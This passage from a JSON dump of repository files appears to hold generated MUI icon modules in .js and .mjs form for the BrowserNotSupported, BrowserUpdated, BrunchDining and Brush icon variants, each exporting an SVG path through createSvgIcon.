    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6v10.5l1.95 1.95c.03-.15.05-.3.05-.45V6c0-1.1-.9-2-2-2H6.5l2 2zM3.86 3.95c-.35-.35-.92-.35-1.27 0s-.35.92 0 1.27l.41.42V18c0 1.1.9 2 2 2h12.36l1.42 1.42c.35.35.92.35 1.27 0s.35-.92 0-1.27zM5 18V7.64L15.36 18z\"\n}), 'BrowserNotSupportedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowserNotSupportedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6v10.5l1.95 1.95c.03-.15.05-.3.05-.45V6c0-1.1-.9-2-2-2H6.5l2 2zM3.86 3.95c-.35-.35-.92-.35-1.27 0s-.35.92 0 1.27l.41.42V18c0 1.1.9 2 2 2h12.36l1.42 1.42c.35.35.92.35 1.27 0s.35-.92 0-1.27zM5 18V7.64L15.36 18z\"\n}), 'BrowserNotSupportedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowserNotSupportedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6v10.5l2 2V4H6.5l2 2zM3.22 3.32 1.95 4.59 3 5.64V20h14.36l2.06 2.06 1.27-1.27zM15 18H5V7.64L15.36 18z\"\n}), 'BrowserNotSupportedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowserNotSupportedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6v10.5l2 2V4H6.5l2 2zM3.22 3.32 1.95 4.59 3 5.64V20h14.36l2.06 2.06 1.27-1.27zM15 18H5V7.64L15.36 18z\"\n}), 'BrowserNotSupportedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowserNotSupportedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6v10.5l1.95 1.95c.03-.15.05-.3.05-.45V6c0-1.1-.9-2-2-2H6.5l2 2zM3.22 3.32 1.95 4.59 3 5.64V18c0 1.1.9 2 2 2h12.36l2.06 2.06 1.27-1.27zM15 18H5V7.64L15.36 18z\"\n}), 'BrowserNotSupportedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowserNotSupportedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6v10.5l1.95 1.95c.03-.15.05-.3.05-.45V6c0-1.1-.9-2-2-2H6.5l2 2zM3.22 3.32 1.95 4.59 3 5.64V18c0 1.1.9 2 2 2h12.36l2.06 2.06 1.27-1.27zM15 18H5V7.64L15.36 18z\"\n}), 'BrowserNotSupportedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowserUpdated.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 13v3c0 1.1-.9 2-2 2h-3l1 1v2H6v-2l1-1H4c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h8v2H4v11h16v-3zm-7 2-5-5h4V3h2v7h4z\"\n}), 'BrowserUpdated');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowserUpdated.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 13v3c0 1.1-.9 2-2 2h-3l1 1v2H6v-2l1-1H4c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h8v2H4v11h16v-3zm-7 2-5-5h4V3h2v7h4z\"\n}), 'BrowserUpdated');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowserUpdatedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 13v3c0 1.1-.9 2-2 2h-3l1 1v2H6v-2l1-1H4c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h8v2H4v11h16v-3zm-7 2-5-5 1.41-1.41L14 11.17V3h2v8.17l2.59-2.58L20 10z\"\n}), 'BrowserUpdatedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowserUpdatedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 13v3c0 1.1-.9 2-2 2h-3l1 1v2H6v-2l1-1H4c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h8v2H4v11h16v-3zm-7 2-5-5 1.41-1.41L14 11.17V3h2v8.17l2.59-2.58L20 10z\"\n}), 'BrowserUpdatedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowserUpdatedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 3c.55 0 1 .45 1 1v6h1.59c.89 0 1.34 1.08.71 1.71l-2.59 2.59c-.39.39-1.02.39-1.41 0l-2.59-2.59c-.63-.63-.19-1.71.7-1.71H14V4c0-.55.45-1 1-1M6 19.59c0 .78.63 1.41 1.41 1.41h9.17c.78 0 1.41-.63 1.41-1.41 0-.72-.44-1.03-1-1.59h3c1.1 0 2-.9 2-2v-2c0-.55-.45-1-1-1s-1 .45-1 1v2H4V5h7c.55 0 1-.45 1-1s-.45-1-1-1H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h3c-.55.55-1 .87-1 1.59\"\n}), 'BrowserUpdatedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowserUpdatedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 3c.55 0 1 .45 1 1v6h1.59c.89 0 1.34 1.08.71 1.71l-2.59 2.59c-.39.39-1.02.39-1.41 0l-2.59-2.59c-.63-.63-.19-1.71.7-1.71H14V4c0-.55.45-1 1-1M6 19.59c0 .78.63 1.41 1.41 1.41h9.17c.78 0 1.41-.63 1.41-1.41 0-.72-.44-1.03-1-1.59h3c1.1 0 2-.9 2-2v-2c0-.55-.45-1-1-1s-1 .45-1 1v2H4V5h7c.55 0 1-.45 1-1s-.45-1-1-1H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h3c-.55.55-1 .87-1 1.59\"\n}), 'BrowserUpdatedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowserUpdatedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 13v5h-5l1 1v2H6v-2l1-1H2V3h10v2H4v11h16v-3zm-7 2-5-5h4V3h2v7h4z\"\n}), 'BrowserUpdatedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowserUpdatedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 13v5h-5l1 1v2H6v-2l1-1H2V3h10v2H4v11h16v-3zm-7 2-5-5h4V3h2v7h4z\"\n}), 'BrowserUpdatedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowserUpdatedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 13v3c0 1.1-.9 2-2 2h-3l1 1v2H6v-2l1-1H4c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h8v2H4v11h16v-3zm-7 2-5-5h4V3h2v7h4z\"\n}), 'BrowserUpdatedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowserUpdatedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 13v3c0 1.1-.9 2-2 2h-3l1 1v2H6v-2l1-1H4c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h8v2H4v11h16v-3zm-7 2-5-5h4V3h2v7h4z\"\n}), 'BrowserUpdatedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrunchDining.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M18 8h2V4h-2zm-2.49 14H2.49c-.27 0-.49-.22-.49-.5V20h14v1.5c0 .28-.22.5-.49.5M18 15.89l-.4-.42c-1.02-1.08-1.6-2.52-1.6-4V2h6v9.51c0 1.46-.54 2.87-1.53 3.94l-.47.52V20h2v2h-4zM7 16v-2h4v2h4.5c.28 0 .5.22.5.5v1c0 .28-.22.5-.5.5h-13c-.28 0-.5-.22-.5-.5v-1c0-.28.22-.5.5-.5z\"\n}), 'BrunchDining');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrunchDining.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M18 8h2V4h-2zm-2.49 14H2.49c-.27 0-.49-.22-.49-.5V20h14v1.5c0 .28-.22.5-.49.5M18 15.89l-.4-.42c-1.02-1.08-1.6-2.52-1.6-4V2h6v9.51c0 1.46-.54 2.87-1.53 3.94l-.47.52V20h2v2h-4zM7 16v-2h4v2h4.5c.28 0 .5.22.5.5v1c0 .28-.22.5-.5.5h-13c-.28 0-.5-.22-.5-.5v-1c0-.28.22-.5.5-.5z\"\n}), 'BrunchDining');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrunchDiningOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 21.5c0 .28.22.5.49.5h13.02c.27 0 .49-.22.49-.5V20H2zM15.5 16H11v-2H7v2H2.5c-.28 0-.5.22-.5.5V18h14v-1.5c0-.28-.22-.5-.5-.5m4.97-.55c.99-1.07 1.53-2.48 1.53-3.94V2h-6v9.47c0 1.48.58 2.92 1.6 4l.4.42V22h4v-2h-2v-4.03zM18 4h2v4h-2zm1.03 10.07c-.65-.71-1.03-1.65-1.03-2.6V10h2v1.51c0 .95-.34 1.85-.97 2.56\"\n}), 'BrunchDiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrunchDiningOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 21.5c0 .28.22.5.49.5h13.02c.27 0 .49-.22.49-.5V20H2zM15.5 16H11v-2H7v2H2.5c-.28 0-.5.22-.5.5V18h14v-1.5c0-.28-.22-.5-.5-.5m4.97-.55c.99-1.07 1.53-2.48 1.53-3.94V2h-6v9.47c0 1.48.58 2.92 1.6 4l.4.42V22h4v-2h-2v-4.03zM18 4h2v4h-2zm1.03 10.07c-.65-.71-1.03-1.65-1.03-2.6V10h2v1.51c0 .95-.34 1.85-.97 2.56\"\n}), 'BrunchDiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrunchDiningRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8h2V4h-2zm-3 14H3c-.55 0-1-.45-1-1v-1h14v1c0 .55-.45 1-1 1m3-6.11-.4-.42c-1.03-1.08-1.6-2.51-1.6-4V3c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v8.51c0 1.46-.54 2.87-1.53 3.94l-.47.52V20h1c.55 0 1 .45 1 1s-.45 1-1 1h-2c-.55 0-1-.45-1-1zM7 16v-1c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v1h4c.55 0 1 .45 1 1v1H2v-1c0-.55.45-1 1-1z\"\n}), 'BrunchDiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrunchDiningRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8h2V4h-2zm-3 14H3c-.55 0-1-.45-1-1v-1h14v1c0 .55-.45 1-1 1m3-6.11-.4-.42c-1.03-1.08-1.6-2.51-1.6-4V3c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v8.51c0 1.46-.54 2.87-1.53 3.94l-.47.52V20h1c.55 0 1 .45 1 1s-.45 1-1 1h-2c-.55 0-1-.45-1-1zM7 16v-1c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v1h4c.55 0 1 .45 1 1v1H2v-1c0-.55.45-1 1-1z\"\n}), 'BrunchDiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrunchDiningSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8h2V4h-2zm-2 14H2v-2h14zm2-6.11-.4-.42c-1.02-1.08-1.6-2.52-1.6-4V2h6v9.51c0 1.46-.54 2.87-1.53 3.94l-.47.52V20h2v2h-4zM7 16v-2h4v2h5v2H2v-2z\"\n}), 'BrunchDiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrunchDiningSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8h2V4h-2zm-2 14H2v-2h14zm2-6.11-.4-.42c-1.02-1.08-1.6-2.52-1.6-4V2h6v9.51c0 1.46-.54 2.87-1.53 3.94l-.47.52V20h2v2h-4zM7 16v-2h4v2h5v2H2v-2z\"\n}), 'BrunchDiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrunchDiningTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 10h-2v1.47c0 .95.37 1.89 1.03 2.6.63-.71.97-1.61.97-2.56z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 21.5c0 .28.22.5.49.5h13.02c.27 0 .49-.22.49-.5V20H2zm18.47-6.05c.99-1.07 1.53-2.48 1.53-3.94V2h-6v9.47c0 1.48.58 2.92 1.6 4l.4.42V22h4v-2h-2v-4.03zM18 4h2v4h-2zm1.03 10.07c-.65-.71-1.03-1.65-1.03-2.6V10h2v1.51c0 .95-.34 1.85-.97 2.56M15.5 16H11v-2H7v2H2.5c-.28 0-.5.22-.5.5V18h14v-1.5c0-.28-.22-.5-.5-.5\"\n}, \"1\")], 'BrunchDiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrunchDiningTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 10h-2v1.47c0 .95.37 1.89 1.03 2.6.63-.71.97-1.61.97-2.56z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 21.5c0 .28.22.5.49.5h13.02c.27 0 .49-.22.49-.5V20H2zm18.47-6.05c.99-1.07 1.53-2.48 1.53-3.94V2h-6v9.47c0 1.48.58 2.92 1.6 4l.4.42V22h4v-2h-2v-4.03zM18 4h2v4h-2zm1.03 10.07c-.65-.71-1.03-1.65-1.03-2.6V10h2v1.51c0 .95-.34 1.85-.97 2.56M15.5 16H11v-2H7v2H2.5c-.28 0-.5.22-.5.5V18h14v-1.5c0-.28-.22-.5-.5-.5\"\n}, \"1\")], 'BrunchDiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brush.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 14c-1.66 0-3 1.34-3 3 0 1.31-1.16 2-2 2 .92 1.22 2.49 2 4 2 2.21 0 4-1.79 4-4 0-1.66-1.34-3-3-3m13.71-9.37-1.34-1.34a.996.996 0 0 0-1.41 0L9 12.25 11.75 15l8.96-8.96c.39-.39.39-1.02 0-1.41\"\n}), 'Brush');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brush.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 14c-1.66 0-3 1.34-3 3 0 1.31-1.16 2-2 2 .92 1.22 2.49 2 4 2 2.21 0 4-1.79 4-4 0-1.66-1.34-3-3-3m13.71-9.37-1.34-1.34a.996.996 0 0 0-1.41 0L9 12.25 11.75 15l8.96-8.96c.39-.39.39-1.02 0-1.41\"\n}), 'Brush');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrushOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 16c.55 0 1 .45 1 1 0 1.1-.9 2-2 2-.17 0-.33-.02-.5-.05.31-.55.5-1.21.5-1.95 0-.55.45-1 1-1M18.67 3c-.26 0-.51.1-.71.29L9 12.25 11.75 15l8.96-8.96c.39-.39.39-1.02 0-1.41l-1.34-1.34c-.2-.2-.45-.29-.7-.29M7 14c-1.66 0-3 1.34-3 3 0 1.31-1.16 2-2 2 .92 1.22 2.49 2 4 2 2.21 0 4-1.79 4-4 0-1.66-1.34-3-3-3\"\n}), 'BrushOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrushOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 16c.55 0 1 .45 1 1 0 1.1-.9 2-2 2-.17 0-.33-.02-.5-.05.31-.55.5-1.21.5-1.95 0-.55.45-1 1-1M18.67 3c-.26 0-.51.1-.71.29L9 12.25 11.75 15l8.96-8.96c.39-.39.39-1.02 0-1.41l-1.34-1.34c-.2-.2-.45-.29-.7-.29M7 14c-1.66 0-3 1.34-3 3 0 1.31-1.16 2-2 2 .92 1.22 2.49 2 4 2 2.21 0 4-1.79 4-4 0-1.66-1.34-3-3-3\"\n}), 'BrushOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrushRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 14c-1.66 0-3 1.34-3 3 0 1.31-1.16 2-2 2 .92 1.22 2.49 2 4 2 2.21 0 4-1.79 4-4 0-1.66-1.34-3-3-3m13.71-9.37-1.34-1.34a.996.996 0 0 0-1.41 0L9 12.25 11.75 15l8.96-8.96c.39-.39.39-1.02 0-1.41\"\n}), 'BrushRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrushRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 14c-1.66 0-3 1.34-3 3 0 1.31-1.16 2-2 2 .92 1.22 2.49 2 4 2 2.21 0 4-1.79 4-4 0-1.66-1.34-3-3-3m13.71-9.37-1.34-1.34a.996.996 0 0 0-1.41 0L9 12.25 11.75 15l8.96-8.96c.39-.39.39-1.02 0-1.41\"\n}), 'BrushRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrushSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 14c-1.66 0-3 1.34-3 3 0 1.31-1.16 2-2 2 .92 1.22 2.49 2 4 2 2.21 0 4-1.79 4-4 0-1.66-1.34-3-3-3m14.41-8.66-2.75-2.75L9 12.25 11.75 15z\"\n}), 'BrushSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrushSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 14c-1.66 0-3 1.34-3 3 0 1.31-1.16 2-2 2 .92 1.22 2.49 2 4 2 2.21 0 4-1.79 4-4 0-1.66-1.34-3-3-3m14.41-8.66-2.75-2.75L9 12.25 11.75 15z\"\n}), 'BrushSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrushTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 17c0-.55-.45-1-1-1s-1 .45-1 1c0 .74-.19 1.4-.5 1.95.17.03.33.05.5.05 1.1 0 2-.9 2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.75 15 8.96-8.96c.39-.39.39-1.02 0-1.41l-1.34-1.34c-.2-.2-.45-.29-.7-.29s-.51.1-.71.29L9 12.25zM6 21c2.21 0 4-1.79 4-4 0-1.66-1.34-3-3-3s-3 1.34-3 3c0 1.31-1.16 2-2 2 .92 1.22 2.49 2 4 2m0-4c0-.55.45-1 1-1s1 .45 1 1c0 1.1-.9 2-2 2-.17 0-.33-.02-.5-.05.31-.55.5-1.21.5-1.95\"\n}, \"1\")], 'BrushTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrushTwoTone.mjs",
